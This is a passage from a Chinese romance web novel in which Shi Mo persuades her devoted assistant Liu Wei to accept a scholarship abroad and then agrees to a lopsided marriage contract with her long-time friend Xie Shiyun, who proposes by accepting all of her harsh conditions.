“刘巍,你的成绩是全系第一,这个名额本来就是你的。”冯教授推了推眼镜,语气里满是欣慰,“伦敦政经的经济学专业,全球排名前十。这个机会千载难逢,你去了不只是给自己长脸,也是给咱们学校争光。你千万不要错过。” 刘巍把推荐信攥在手里,纸张被他的手指攥出了褶皱。他没立刻答应,沉默了很久才说:“老师,我再想想。” 冯教授以为他是谦虚,笑着拍了拍他的肩膀:“好好想,但别想太久。申请截止日期是下个月十五号。到时候你想通了,把材料交到我办公室就行。” 刘巍回到宿舍,把那封推荐信锁进了抽屉最深处,压在几本旧课本下面。 他没有告诉任何人,包括时墨。 某天,冯教授在教工食堂打饭,正端着搪瓷饭盆找座,教务处的孙老师凑过来说:“老冯,你们系那个刘巍不去留学了?我昨天整理出国名单,把他撤下来了。” 冯教授手里的搪瓷盆差点没端稳:“什么?这孩子疯了吧!” 他饭也没吃几口,放下盆子就去找刘巍的电话,打了三四遍没人接,又去找刘巍的同学打听。最终东拼西凑地才弄明白,刘巍不去留学的原因,是要去时墨的公司工作。 时墨这个名字,冯教授当然不陌生。 他们学校最知名的校友之一,畅销书作家、古建专家、时记商超的创始人、墨昀地产的合伙人,最近还跟央视合作了一档文物综艺节目,火爆全国。 商界、文坛、学术圈都有她的身影,而且每一个身份都做到极致,让人不服气都不行。 冯教授是在校庆座谈会上见过时墨一次的。她坐在台上,穿着一件素净的蓝色连衣裙,头发随意地扎在脑后,但却牢牢吸引住人的目光。 不光人漂亮自信,说起话来条理清晰,言之有物。二十出头的小姑娘,坐在一群头发花白的老教授中间,丝毫不怯场。 当时他就想,这样的年轻人,前途不可限量。 但他没想到,自己的得意门生,竟然为了去她的公司打工,放弃了出国留学的全奖名额。 冯教授坐不住了,他辗转打听到时墨的家庭地址,骑着自行车穿过半个京城找了过去。胡同很深,七拐八拐的,他在门口停好自行车,整了整衣领,敲了门。 时墨亲自开的门,穿着一件家常的灰色卫衣,脚上趿拉着布拖鞋,头发随便扎了个马尾。看到冯教授,她微微一愣,随即侧身让开:“冯教授?您怎么来了?快请进。” 冯教授也不兜圈子,坐下后,开门见山道:“时墨啊,我今天来,是为了我的学生刘巍。” 时墨给他倒了杯茶,在他对面坐下来,点点头:“冯教授,您说。” “我听说刘巍毕业后要去你那里工作,放弃了学校推荐他去伦敦政经读研的全奖名额。”冯教授的语气里带着急切,花白的眉毛皱在一起,“这个机会有多难得,你可能不太清楚。伦敦政经的经济学专业,全球排名前十。刘巍这孩子,天赋好,又肯努力,是块搞学术的好料子。他能走到今天,全靠自己争气,家里条件本来就不好,他爸妈辛苦供他上大学。这个留学机会太难得了,他要是放弃了,这辈子可能就没有第二次了。”” 时墨一脸意外,她放下手里的茶杯道:“我并不知道这件事。” 冯教授愣了一下:“你不知道?” 时墨摇了摇头,眉头微蹙:“刘巍从来没跟我说过。他只是告诉我他毕业后想留在公司,我还问了他有没有别的选择。” 冯教授叹了口气,端起茶杯喝了一口,茶水烫嘴,他又放下了。 他看着时墨,语重心长地说:“时墨,你是刘巍的老板,也是个明白人。这孩子对你的心思,我不说你也看得出来。但他还年轻,他应该去看看外面的世界,不能因为一时的……感情用事,就把前途耽误了。我跟你说实话,我来之前给伦敦政经那边打过电话了,他们说只要刘巍在截止日期前提交材料,名额还能给他留着。截止日期是下周五。” “我明白。”时墨点了点头,眼神很认真,“您今天来的意思,是想让我劝动他吧?” 冯教授没想到她这么通透,连忙点头。 时墨看着冯教授,语气笃定道:“您放心,我会好好劝他的。他不能留在我这儿,他必须要去读书。” 时墨把刘巍叫到家里,是在一个星期天的下午。 阳光正好,石榴树的叶子绿得发亮,有几个石榴已经红了尖儿。穗穗趴在石桌下面晒太阳,尾巴一甩一甩的。 刘巍坐在她对面,和平时一样,手里拿着笔记本,等着她布置任务。阳光落在他脸上,他的五官已经褪去了学生的青涩,线条变得分明起来。 时墨却没有布置任务。 她把一张纸推到刘巍面前。 那是伦敦政经学院的录取通知书复印件,上面有冯教授上周帮他从学校拿到的正式文件。纸张很新,墨迹清晰,写着刘巍的名字和专业。 刘巍的脸色瞬间变了,像被人泼了一盆冷水。 “你……怎么有……” “冯教授来找过我。”时墨靠在椅背上,双手交叉放在膝盖上,看着他,语气平静道,“刘巍,这么好的机会,为什么不去?伦敦政经的经济学专业是世界顶尖的,对你以后的发展非常有帮助。你不该为了任何人放弃它。” “我不想去。”刘巍低下头,声音闷闷的。他的手放在膝盖上,收紧,松开,又收紧,颤抖的睫毛抬起,看向时墨,“我想留在你身边做事。我走了,你这边怎么办?” “我这边又不缺人。”时墨看着他,轻笑一声,语气带着一种善意的无奈,“刘巍,你是聪明人,你应该知道,这个选择对你来说意味着什么。我希望你能好好想清楚,做出慎重的决定。” 时墨停顿了下,继续道:“而且,你不是我的附属品,你有自己的人生。你应该去伦敦,去学最先进的经济学知识,去看外面的世界。等你学成归来,你能帮我更多。如果你担心生活费的问题,我这边可以全额出资。” “我不是担心钱,我是……”刘巍的声音有些哑,像被什么东西堵住了,“我是……” 他到嘴边话的话,迟迟说不出口。 他想说,他怕离开这两年,她身边会出现有更得力的人,他再也没有现在这样亲近她的机会。他想说,他怕离开久了,时墨就会慢慢忘了他,就像她忘了那些曾经热烈的追求者们一样。 他怕自己在她的生命里,也只是一个可以随时被替代的过客。 他还想说很多话,可此刻一个字都说不出口,喉咙像被一只手掐住了似的。 书房很安静,窗外有麻雀叽叽喳喳地叫着,一声接一声,叫得人心烦意乱。墙上挂钟的秒针一下一下地跳着,在安静中格外清晰。 时墨看着他,忽然叹了口气。那声叹息很轻,轻到几乎听不见,但刘巍听到了,心里一颤。 他,他给时墨带来困扰了吗? 他的眼眶忍不住泛红,但他死撑着不让眼泪掉下来。 “刘巍,你放心,你的位置我永远给你留着。等你学成归来,想进公司也行,想自己创业也行,我都支持。我不是那种用完人就丢的老板。” 刘巍低头,死死地咬着嘴唇,嘴唇都被咬发白,他依旧沉默。 时墨又说了一句:“刘巍,你应该出去看看外面的世界,拓宽一下眼界,丰富你的阅历。等你回来的时候,你会感谢自己今天的决定。” 刘巍猛地抬起头,看着时墨。 午后的阳光落在她身上,给她镀了一层淡淡的金边。她嘴角带着笑,眼底是坦荡地看着他,没有任何其他的情绪。 他所期待的不舍,挽留,见不到分毫。 时墨甚至没有一丝一毫的犹豫、迟疑。 时墨对他,始终只是欣赏、是看重、是朋友之间的推心置腹,没有一丝多余的情愫。 仅此而已。 刘巍忽然觉得自己很可笑。他像是在演一出独角戏,舞台上的灯光全打在他一个人身上,而观众席上坐着的她,只是作为朋友在礼貌地鼓掌。 他低下头,把那张纸折好,收进上衣口袋里。纸张的边缘有点锋利,隔着衬衫的布料硌在他的心口上,泛着丝丝疼痛。 如果这是你希望的。 “好,我去。” 刘巍出国的前一天来跟时墨告别。 那天是个大晴天,京城的天难得那么蓝,槐树叶子被晒得蔫蔫地卷了起来,胡同里弥漫着谁家炸酱面的酱香味。 他站在院门口,穿着时墨买给他的那件深蓝色夹克——是他生日时她送的,说是“工作服”,其实料子和做工都很好,比他自己买的任何一件衣服都贵。 “时墨,我明天就走了。” “嗯,路上小心。”时墨站在门口,微笑送别,“到了学校给我打个电话,报平安,别省钱。” 刘巍点了下头:“好,等我回来。” 时墨笑了笑,保证道:“好,你可是我的金牌助理,位置给你留着呢。” 刘巍深深地看了她一眼,像是要把她的样子刻进脑海里。 转身离开,没有回头,他怕自己一回头就迈不动腿,怕自己后悔答应时墨离开。 他沿着胡同一直走,走过那棵老槐树,走过那个修自行车的摊子,走过那面爬满爬山虎的灰墙,眼前曾经走过多次的街道莫名陌生起来。 他知道时墨在看他,他挺直脊背,步子迈得很大,怕时墨看出异样。 可走远后,眼前的一切都变得模糊起来,他终于忍不住,蹲下痛哭。 他在心里暗暗发誓:时墨,等我回来,我一定会变得更强大。强大到能和你并肩站在一起,而不是一直跟在你身后。 微风吹起时墨披散的长发,她看着刘巍的背影消失在胡同口,忽然有点怅然。手里吃了一半的桃子,放到嘴边,又放下了。 系统的声音忽然响起:【宿主,你真的舍得放他走?他可是你一手培养起来的,多好用啊。助理、资料员、跑腿的,一个人能干三个人的活,工资还只要一个人的。】 【没什么不舍得的。】时墨嘴上说的轻松,转身走进院子后却还是叹了口气,【他不该被束缚在我身边。他有更好的未来。】 【那你怎么办?再找个人培养?这样的人可不好找,又聪明又踏实还肯干的,满京城也扒拉不出几个,再说你不要找个婚姻合伙人么?】系统替时墨着急起来。 【我现在的身份地位,还愁找不到人?】时墨说得很轻松,但说完之后自己愣了一下,然后摇了摇头,继续啃桃子。 刘巍走后没多久,京城收藏圈里不知道从哪里开始传出一个消息。 时墨要相亲了。 “真的假的?时墨还需要相亲?” “千真万确!我一个朋友的远房表姐,跟她爸妈住一个家属院,亲耳听她妈说的!她妈跟人聊天时说的,还能有假?” “条件呢?时墨那样的条件,一般人哪里配得上?” “听说了几个条件——婚后男方要无条件服从她的决策,全力支持她的事业,不得干涉她的私事。婚前必须做财产公证,婚后男方还要把全部身家八二分,时墨占八,男方二。婚后所得也按这个比例分。最离谱的是,她还有权在任何时候单方面解除婚姻关系,无需向男方支付任何补偿,男方还得倒分她八成资产。” 听到这话的人都傻眼了。 “疯了吧?这哪是相亲啊,这是找佣人呢!” “这叫佣人?佣人还给钱吧,她这克扣的比旧时代地主还地主啊! “谁说不是呢,哪个男人能接受这样的条件?她以为自己是公主啊?” “人家有资本啊!年纪轻轻又是大作家,又是文物专家,长得还漂亮,个人资产少说也得几百万了吧。不过这条件也太苛刻了,搁谁谁干?” “也是,这条件随便挑了,指不定有愿意的。” “是呗,周瑜还打黄盖!” “诶,我怎么觉得你们说的不对,我看她就是不想结婚,故意开出这么苛刻的条件,让那些追求者知难而退。” “嘶,李婶你这话,还真别说!” 消息越传越广,最后整个京城商圈都知道了。但也没人当真话听,都以为是谣传。 直到有几个大胆不信邪的爱慕者真的去了时墨家,回来之后一个个都垂头丧气地说:条件是真的,时墨亲口说的,白纸黑字写着的,不签合同不给进门。 消息是从一个叫何青枫的年轻人嘴里传出来的。何青枫家里开着一个不小的地产公司,自己也是英国留学回来的海归,长得一表人才,在京城收藏圈里算是个后起之秀。 “我托了熟人帮忙递话,时墨同意见面。”何青枫坐在酒桌上,手里转着酒杯,表情很是复杂,“我本来以为那些条件只是嘴上说说,用来挡人的。结果一见面,她直接拿了份合同给我看,一式两份,打印得工工整整,连律师事务所的章都盖了。” 在场的人都愣了。 “合同?” “对,上面条款都写得清清楚楚。我翻来覆去看了三遍,绝对没眼花看错”何青枫的脸上带着一种劫后余生的表情,像是在回忆一场噩梦,“就算她长得漂亮,有才华,我也不能卖给她啊。” 酒桌上安静了一瞬,然后炸开了锅。 “她这是找对象还是找长工? “时墨疯了吧!她确实是要找结婚对象?不是找人签卖身契?” “这也太欺负人了!你签了?” 何青枫端起酒杯,一饮而尽,苦笑着说:“我没签。我要签了,我爸妈得把我逐出家门。他们说了,要是敢签这种合同,家里的公司一毛钱都不给我。” “说实话,我确实喜欢时墨,你们说,她怎么想的呢?难道有才的人都这么想?” “你可拉到,我小姑读交大,人可不这样啊。” “那就是恃才傲物,谁都看不上,加长个漂亮脸蛋吗。” “唉,人还有钱啊。” “强强联手多好,她这样结什么结,除非找个穷的赘,但凡家里条件好的,哪个男的肯啊!” 这下,所有人都信了。 大家都觉得时墨根本不是真心想找对象。她有钱、有才、有名、有貌,什么样的男人找不到?非要开出这种苛刻到离谱的条件,摆明了就是不想找。 可她又放出了相亲的消息,这到底是什么意思?有人说是为了堵她妈的嘴,有人说是为了炒作新节目,也有人说她就是看不惯那些追着她跑的男人,想让他们知难而退。 一时间,笑话时墨的、心疼时墨的、等着看她笑话的、说她眼光太高的、说她矫情的,说什么的都有。 谢时昀听到这个消息的时候,正和陆川在饭店里吃饭。 饭店是陆川挑的一家私人小馆,做的全是宫廷菜。两人要了个小包间,窗户开着,能看到院子里一池锦鲤荷花。 陆川把筷子一放,看着谢时昀:“时昀,你听说了吧?” “听说了。”谢时昀端起酒杯,慢慢喝了一口。 “你不劝劝她?”陆川急了,“你就不怕她真找了个乱七八糟的人回来?万一哪个愣头青脑子一热签了呢?现在的年轻人什么事干不出来?” 谢时昀放下酒杯,看着窗外的池塘,沉默了很久。夕阳透过玻璃窗照在他的侧脸上,把他下颌线切出一道清晰的光影。 “她开这个条件,就是想让人知难而退。”他的声音很轻,像是在说给自己听,“前段时间追她的人太多了,她被烦得不行。什么相亲,什么条件,她根本不想结婚。” 陆川愣了一下:“你确定?” “我确定。”谢时昀端起酒杯又喝了一口,这次喝得猛了,呛得咳了两声。他用餐巾纸擦了擦嘴角,站起身,“你慢慢吃,我先走了。” “诶,你问她本人了吗?”陆川突然叫住他。 谢时昀脚步顿住,手搭在门把手上,没有回头。 “你从小就什么事都爱自个儿琢磨,琢磨来琢磨去,最后人家什么都不知道。”陆川的声音从背后传来,带着老友才有的急切和关心。 “你在她身边多少年了?从她上高中你就认识她了吧?这么多年,你要是真喜欢人家,就去跟她说明白。有些事,要问出口,去做了才知道结果。” 谢时昀站在门口,一动不动。门把手传来冰凉的触感,和掌心接触的地方慢慢变暖。 他站了大概有十几秒,然后拉开门,走了出去。 第二天清晨,天刚蒙蒙亮, 胡同里的大爷养的公鸡还没叫完第一遍。 时墨正在院子里的水龙头前刷牙,嘴里全是牙膏沫子,头发随便用一个夹子别在头顶,穿着一件纯棉T恤和一条宽松短裤,脚上趿拉着塑料拖鞋。阳光还没照进院子,空气里有露水的湿气和石榴花的甜味。 院门突然被人敲响了,不重不轻,三声,顿了一下,又是三声。 时墨吐掉口里的泡沫,拿搪瓷缸子漱了漱口,朝院门喊了一声:“谁啊?” “墨墨,是我。” 时墨听到熟悉的声音,走过去打开院门。 谢时昀站在门口,手里拿着一个厚厚的文件夹,穿着的白色衬衫领口敞着两颗扣子。他平时穿衣服都是一丝不苟的,今天看起来皱皱巴巴,还一脸疲态。 时墨扫过他眼下泛青的眼圈,冒出的青色胡茬,还有没被打理过,翘起的头发,一看就是熬夜人群的熟悉状态。 “谢哥?”时墨有些惊讶,牙膏沫还没擦干净,嘴角还挂着一点白,“你怎么这么早就来了?这才……六点吧?”她侧身让开,“是不是有什么急事?进来坐。” 谢时昀走进院门,站在石榴树下,将手中文件夹递给她。 “这是什么?”时墨接过来,翻开一看,愣住了。 文件夹里除了谢时昀所有固定资产清单、股权证明,还有一份转让协议,和一份手写的承诺书。 谢时昀看着时墨,认真道:““墨墨,这是我的全部身家证明。房产、车子、公司股份、银行存款、古董收藏……都在里面,有会计师事务所的审计报告,有房产局的产调证明,有银行的资产证明,每一页都可以查证。” “还有这份协议。”谢时昀从兜里掏出另一份文件,递过来,“婚后所赚的财产我一分都不要,全部归你。你之前跟别人说的那些条件——婚前财产公证、婚后收入八二分成、你可以随时解除婚姻关系——我全部同意。你想什么时候分开就什么时候分开,不用给我一分钱。” 时墨握着那个文件夹,蹙了下眉,抬眼看向谢时昀,刚要张口。 “墨墨,你先听我说。”谢时昀立刻打断她,生怕听到拒绝的话。 晨光从石榴树的枝叶间漏下来,在他的脸上投下斑驳的光影,他的喉结紧张的上下滚动了一下。 “墨墨,你能不能……考虑一下我?” “我……让我入赘也行。”【..top】 95-100 第96章 时墨愣了足足三秒, 才反应过来谢时昀在说什么事。 她抬手抹掉嘴角残留的牙膏沫,原本带着点惺忪的眼神瞬间清明,看向谢时昀的目光冷静、锐利。 她此刻看谢时昀, 不是看一个认识多年的哥哥、朋友、生意合伙人, 而是以一个绝对理性的考察者角度, 认认真真地审视起眼前这个男人。 像谢时昀这么有思想觉悟的男人太稀少了, 满世界扒拉不出几个,但他真的值得信? 晨光熹微,穿过院角那棵老石榴树的枝叶,在谢时昀身上投下斑驳的光影,他站得笔直, 安静地等待着时墨的宣判。 时墨没急着回答, 转身把搪瓷缸放在石桌上,拉过竹椅坐下, 抬了抬下巴示意他:“坐。” 谢时昀依言坐下, 脊背挺得更直了,双手紧张地搭在膝盖上, 指尖无意识地抠着。 时墨指尖轻敲着石桌, 发出规律的“笃笃”声, 每一声都像敲在谢时昀的心上。 “谢时昀, ”她终于开口, 声音带着刚睡醒的沙哑,却字字清晰,“我得把丑话说在前头。我提结婚, 没别的意思,就是为了挡掉那些没完没了的苍蝇。” 谢时昀坐在她对面,眼睛一眨不眨地看着她, 把她说的每一个字都刻进心里。 “其实说白了,就是假结婚。”时墨抬眼看向他,“领的证是真的,对外我们是合法夫妻,关起门来各过各的。你不能干涉我的工作,不能过问我的社交,更不能管我任何私事。当然,我也不会干涉你。” 时墨又补充一句:“还有,婚内女方不同意的性行为,就是□□。这条法律你应该懂。” “我知道!我不会的!”谢时昀猛地抬头,脸涨得通红,慌乱地摆着手,语无伦次,“墨墨,我绝对不会强迫你做任何事,我发誓!” “我知道你是什么人。”时墨看着他急得语无伦次的样子,忍不住轻笑了一声,那点锐利的锋芒瞬间柔和了些许,“就是提前把规矩立好,省得以后麻烦。” 她指尖点了点那份协议:“上面的条件你都看过了。婚前财产各自公证,婚后所有收入八二分成,我八你二。我有权随时提出离婚,你必须无条件配合,并且净身出户。就算哪天我遇到了喜欢的人,要跟你散伙,你也得二话不说签字。” 时墨身体微微前倾,直视着他的眼睛,言语却近乎残酷道:“谢时昀,你想清楚。转让协议我签了字,真到了那一天,我不会念任何旧情。这些条件,你真的能承受?” “我能。” 谢时昀答得干脆利落,没有一丝犹豫。 时墨微微眯了眯眼,打量着他:“你爸妈呢?他们要是知道你签了这种协议,肯定不会同意。而且外面传的那些话你应该也听到了。什么找长工、赘婿、冤大头,更难听的话多了去了。你谢时昀好歹也是京城排得上号的青年才俊,娶个媳妇签这种合同,脸都要被人丢尽了。这些,你也能承受?” 谢时昀的心跳得像擂鼓,震得他耳膜嗡嗡作响。他刚才最怕的,是时墨直接说“你回去吧,我不需要”。可她现在跟他掰扯这些,说明她在认真考虑! 他深吸一口气,目光直直地撞进时墨的眼睛里。那里面翻涌着压抑了多年的情感,像深埋地下的火山,终于找到了一个喷发的缺口。 “我爸妈那边,我会处理好,绝对不会给你带来任何困扰。”他的声音有点沙哑,却异常坚定,“墨墨,我今天来,不是一时冲动。我不是因为你开了条件我才来,是你开了条件,我才终于有机会开口了。但我等了这个机会等了太久,我怕……” 谢时昀喉结上下滚动,认真道:“我怕说了我们连朋友都没得做。我以为我这辈子都只能当你的‘谢哥’,没想到还有机会能成为你的丈夫。哪怕只是名义上的,我也心甘情愿。” “至于别人怎么说,我不在乎。”他轻轻笑了一下,笑容里带着一丝苦涩,却又无比释然,“别人的言论,哪有你重要。” 时墨没说话,也没有回避他的目光。她就那样静静地看着他,看着他眼底毫不掩饰的深情和卑微的祈求,心里某个坚硬的角落,忽然像是被什么东西轻轻撞了一下。 她见过太多趋炎附势的人。那些追求者,有的看中她的美貌,有的觊觎她的财富,有的想借着她的人脉往上爬。他们说着天花乱坠的情话,却连她最基本的喜好都不知道。 却从来没有人,像谢时昀这样,多年来一直在背后默默付出,不求任何回报。把自己放到尘埃,心甘情愿地把所有一切都捧到她面前。 谢时昀看着她思索的表情,心提到了嗓子眼。他认识她这么多年,太清楚这个表情意味着什么。 “就算哪天你真的遇到了喜欢的人,要跟我离婚,让我净身出户,我也愿意。”谢时昀的声音忽然低了下去,带着一丝近乎卑微的祈求,“墨墨,给我这个机会,好不好?” 院子里静悄悄的。树上的麻雀叽叽喳喳地跳着,墙角的水龙头没拧紧,一滴一滴地往下滴水,在青砖上砸出细微的声响。 时墨看着他泛红的眼眶,在心里叹了口气。 “我倒没那么没人性。”她移开目光,伸手把那份协议摊开,翻到最后一页,“你带笔了吗?” 谢时昀猛地愣住了。 他像是突然被人按下了暂停键,整个人僵在原地,脑子一片空白。他设想过今天所有的可能——被拒绝,被客客气气地请出去,被当成笑话,甚至从此老死不相往来。唯独不敢奢想,她会说这句话。 时墨抬起头,冲他伸出手。她的手白生生的,指尖纤细,指甲修剪得干净整齐,指腹上还沾着一点没擦干净的牙膏沫。 “笔。”时墨又说了一遍。 谢时昀还是没动。他脑子里嗡嗡作响,像是有一万只蜜蜂在翻飞,耳边只剩下自己如雷的心跳声。 “谢哥?”时墨挑了挑眉,“发什么呆呢?不签算了。” “签!我签!” 谢时昀猛地回过神,眼里瞬间迸发出狂喜的光芒。他手忙脚乱地去摸衬衫口袋,因为太着急,口袋都被他扯歪了,笔帽“啪嗒”一声掉在了地上。他赶紧弯腰捡起来,用袖子反复擦了好几遍,才双手捧着笔,递到时墨面前。他的指尖抖得厉害,连带着笔杆都在轻轻晃动。 时墨接过笔,在空栏处签下了自己的名字。字迹潦草有力,最后一笔带着一个张扬的小勾,是她一贯的风格。 谢时昀眼睛一眨不眨地盯着她的动作,连呼吸都忘了。直到时墨把笔放下,把协议推到他面前,他还有种置身梦中的恍惚感。 时墨把两份协议收好,放进文件夹里:“你回去收拾收拾,胡子刮干净,换身像样的衣服,我们九点出发去民政局领证。” 时墨说得云淡风轻,谢时昀听得恍若惊雷。 “……领证?”谢时昀猛地站起来,动作太急差点带翻了椅子,“今、今天就去?” “不然呢?”时墨抬眼看他,“早领早清净,我妈昨天还跟我说,下周六给我安排了三场相亲,你想让我去?” “不想!”谢时昀想都不想就喊道。 “那不就得了。”时墨站起身,伸了个懒腰,露出一截纤细的腰肢,“赶紧回去收拾,别这副潦草的样子拍照。” “好!好!我这就回去收拾!”谢时昀转身就往门外跑,跑了两步又停下来,回头看着时墨,傻呵呵地笑了一下,“墨墨,我马上就来!” 时墨第一次看到谢时昀傻笑,没忍住笑了,她低头看着桌上的文件夹,指尖轻拂过“谢时昀”三个字,眼神复杂。 谢时昀走出院门,踩在清晨的阳光里,只觉得头重脚轻,整个人都飘乎乎的。他用力掐了一下自己的掌心,尖锐的痛感传来,他才敢相信,这不是梦。 他真的,要和时墨结婚了。 回到家,他掏出钥匙,对着锁孔捅了三次才把门打开。 进屋后,他冲到卫生间,看着镜子里的自己——皱巴巴的衬衫,乱糟糟的头发,泛青的下巴,还有两个浓重的黑眼圈,活像个刚从街上倒了一夜的酒鬼。 他对着镜子笑了一下,镜子里的人也对他笑,笑得一脸傻气。 热水器烧水的间隙,他把卫生间里所有的洗漱用品都翻了出来。洗了三遍脸,剃须刀仔仔细细地刮了两遍下巴,连鬓角都修得整整齐齐。然后他站在花洒下面,冲了足足二十分钟,把沐浴露打了三遍,恨不得把自己搓掉一层皮。 洗完澡出来,他把衣柜翻了个底朝天,所有的衬衫都被他扔在了床上。 “这件领口太紧了,显脖子短。” “这件版型太死板,不好看。” “这件颜色太沉,墨墨不喜欢深色。” 他一件一件地试穿,对着镜子转来转去,挑剔得不行。直到闹钟指向八点十五,他才终于选定了一件裁剪得体的米色真丝衬衫,配了一条藏青色暗纹领带,外面套了一件熨烫得没有一丝褶皱的烟灰色西装外套。 八点三十五,谢时昀站在时墨院门口,却不敢敲门。 他怕来得太早显得自己太迫不及待,又怕晚了让时墨等。于是他就那样安安静静地站在门口,看着胡同里的橘猫从墙头跳过去,看着卖豆腐脑的三轮车叮叮当当地从巷口经过,看着金色的阳光一点一点爬上时墨家的青瓦屋檐。 他反复整检查自己的衣着,手心全是汗。 八点五十,院门“吱呀”一声从里面打开了。 时墨走了出来。 谢时昀的呼吸,瞬间停滞了。 她今天没有穿平时干练的西装裤和白衬衫,而是穿了一条白色的蕾丝边连衣裙,裙摆刚好到膝盖,露出纤细白皙的小腿。乌黑的长发披在肩上,发梢微微卷曲,耳朵上戴了一对小小的珍珠耳钉,衬得她脖颈修长,皮白如瓷。 她平时很少这样打扮,少了几分凌厉,多了几分柔和,像一朵清晨带着露珠的栀子花,清新又动人。 时墨看到谢时昀也眼前一亮。 早上那个眼圈发黑、胡子拉碴的男人不见了。站在她面前的谢时昀,穿得像是要去拍杂志封面,一身烟灰西装,皮鞋锃亮。头发打理得一丝不苟,下颌刮得干干净净,露出好看的线条。眼底的青色虽然还在,却丝毫不影响他挺拔俊朗的气质。 “不错。”时墨忍不住夸了一句:“挺精神的。” 谢时昀被她夸得耳根一热,赶紧转移话题:“我户口本被我妈收着,你户口本呢?” “巧了,我的也在我妈那儿。”时墨锁好院门,拉开他车门坐进去,“正好顺路,先去我家,再去你家。” 车子发动的时候,谢时昀握着方向盘的手还在微微发抖。他偷偷从后视镜里看了一眼时墨,她正低头翻看着那份他准备的资产证明,时不时地问一句“这房子在哪”“这公司股份占比多少”,语气跟讨论工作一模一样。 谢时昀一边开车一边回答,心情慢慢平复了一些。 “看路。”时墨头也没抬地说。 谢时昀赶紧把目光转回前方,耳根又红了。 车停在时墨家楼下的时候,时墨让他在车里等着,自己上楼拿户口本。 “墨墨?你今天怎么这么早来了?”李秀兰正在厨房包饺子,看到女儿回来,惊讶地擦了擦手。 “妈,户口本给我用一下。”时墨直接道。 “拿户口本干什么?”李秀兰一边说着,一边走到卧室,从抽屉里拿出户口本递给她,“你要办什么业务?” “领证。”时墨接过户口本,随手塞进了包里。 “领什么证?”李秀兰一时没反应过来。 “结婚证。” 李秀兰愣了三秒钟,然后猛地一把抓住时墨的手腕,力气大得惊人:“你说什么?!跟谁?” “谢时昀。” “谢时昀?谢家那小子?” “对,除了他,你认识的人里没有姓谢的了。”时墨点头。 她的声音太高,把正在看电视的时爱国引了出来。 “怎么了?吵吵嚷嚷的。” “你闺女要结婚了!”李秀兰指着时墨,声音都劈叉了,“跟谢家那小子!今天就去领证!” 时爱国也愣住了,眼镜差点从鼻梁上滑下来,他推了推眼镜,看着时墨,一脸不敢置信:“墨墨,你妈说的是真的?” “嗯。”时墨点头,“我们已经谈好了,今天去领证。” “什么时候的事?你们什么时候谈的恋爱?我怎么一点都不知道?”李秀兰急得团团转,拉着时墨的手不肯放,“你这孩子,这么大的事,怎么也不提前跟我们商量商量?” “商量什么呀,反正早晚都得结。”时墨抽回手,“谢时昀在楼下等着呢,我们得赶紧走。晚上回来再跟你们细说。” “哎!你这孩子!” 时墨没多解释,转身就出了门。留下时爱国和李秀兰站在客厅里,面面相觑,半天没回过神来。 “孩儿她爸。”李秀兰戳了戳丈夫的胳膊,声音还有点发飘,“我不是在做梦吧?咱们闺女,真的要跟小谢结婚了?” 时爱国叹了口气,脸上却忍不住露出了笑容:“挺好的。小谢那孩子,知根知底,对墨墨也好。” 接下来,两人又去了谢时昀爸妈家。 谢时昀进门的时候,他妈苏婉清正坐在客厅里看书。 “妈,咱家户口本呢?在我爸书房吗?” “在呢,你要户口本干什么?”苏婉清头也没抬地问。 “我跟时墨今天去领证。” 苏婉清手里的书“当啷”一声掉在了地上。 她猛地抬起头,看着谢时昀,惊讶道:“你说什么?你跟谁?时墨?” “嗯。”谢时昀笑着点点头。 “你这孩子!”苏婉清一下子站了起来,着急道,“这么大的事,你怎么不跟我和你爸商量?你知不知道外面都怎么说时墨这孩子弄出的结婚协议?” “妈,我都知道,我愿意的。”谢时昀认真地说,“我喜欢墨墨这些年,能娶到她,是我这辈子最大的心愿。那些条件算什么,只要能跟她在一起,我什么都愿意。” “你!”苏婉清气得说不出话来,她看着儿子眼底的坚定,知道他已经下定了决心,十头牛都拉不回来了。 这时,谢振邦从书房走了出来,脸色沉沉的。他看了谢时昀一眼,没说话,转身回书房把户口本拿了出来,扔在茶几上。 “爸……” “自己选的路,自己负责。”谢振邦沉声道。 谢时昀拿起户口本,紧紧攥在手里:“爸,妈,我会证明给你们看,我选的没错。” 说完,转身走了。 苏婉清看着儿子的背影,忍不住叹气道:“你说这孩子,怎么就这么死心眼呢?非看上时墨了。” 谢振邦拍了拍她的肩膀:“随他吧,儿孙自有儿孙福。再说时墨这孩子挺好的。” “可是……” 九点四十分,两人到了婚姻登记处。 今天不是特别的日子,登记处人不多。两人排队、填表、交材料,一切都进行得很顺利。 拍照的时候,国营照相馆的老师傅举着老式相机,对着他们喊:“小伙子,往姑娘那边靠一点,别跟个木桩子似的。笑一笑,开心点!” 谢时昀紧张得浑身僵硬,小心翼翼地往时墨那边挪了挪,两人的胳膊轻轻碰在了一起。他能闻到时墨身上淡淡的栀子花香,心跳得更快了。 时墨看着他紧绷的侧脸,没忍住笑了出来。她微微侧过头,露出一个浅浅笑容。 谢时昀看着她的笑容,一下子就看呆了。紧绷的身体瞬间放松下来,嘴角也不自觉地上扬。 “咔嚓”一声,照片定格。 红色的幕布前,郎才女貌,笑得正好。 等了一会儿,工作人员把两个红色的结婚证递到了他们手里。 谢时昀小心翼翼地捧着那本红本本,指尖反复摩挲着上面烫金的“结婚证”三个字,还有两人的合照。他的眼眶微微发热,心里像是被什么东西填满了,又暖又胀。 他和时墨,是夫妻了。 从登记处出来的时候,阳光正好,照在红色的小本本上,烫金的国徽闪闪发亮。 两人站在台阶上,谢时昀把那本结婚证翻来覆去地看了好几遍,像是怕它下一秒就会消失一样。 “墨墨。”谢时昀忽然开口道 “嗯?” “我们……办不办婚礼?”谢时昀犹豫了很久,才小心翼翼地问出口,“要是你不想办,我们就不办,我都听你的,旅行结婚也行,怎么都行,我都听你的。” 他以为以时墨怕麻烦的性格,肯定会一口拒绝。没想到时墨抬起头,想了想,说:“办吧。不然我爸妈那边过不去,你爸妈脸上也不好看。” 谢时昀瞬间喜出望外:“真的?” “嗯。”时墨点头,“但有个条件。婚礼所有的事情都交给你办,场地、酒席、请柬、流程,你全权负责。需要我露面的地方我会配合,但我不想操这份心。” “好!没问题!”谢时昀连连点头,激动得差点跳起来,“都交给我!你什么都不用管!” 时墨看点了点头,转身走下台阶。 谢时昀跟在她身后,手里紧紧攥着那本结婚证。 他看着时墨的背影,在心里说:墨墨,谢谢你,给我这个机会。 他恨不得现在就昭告全世界,他谢时昀娶了时墨。当天下午,他就给所有亲戚朋友打了电话,通知了婚礼的消息。 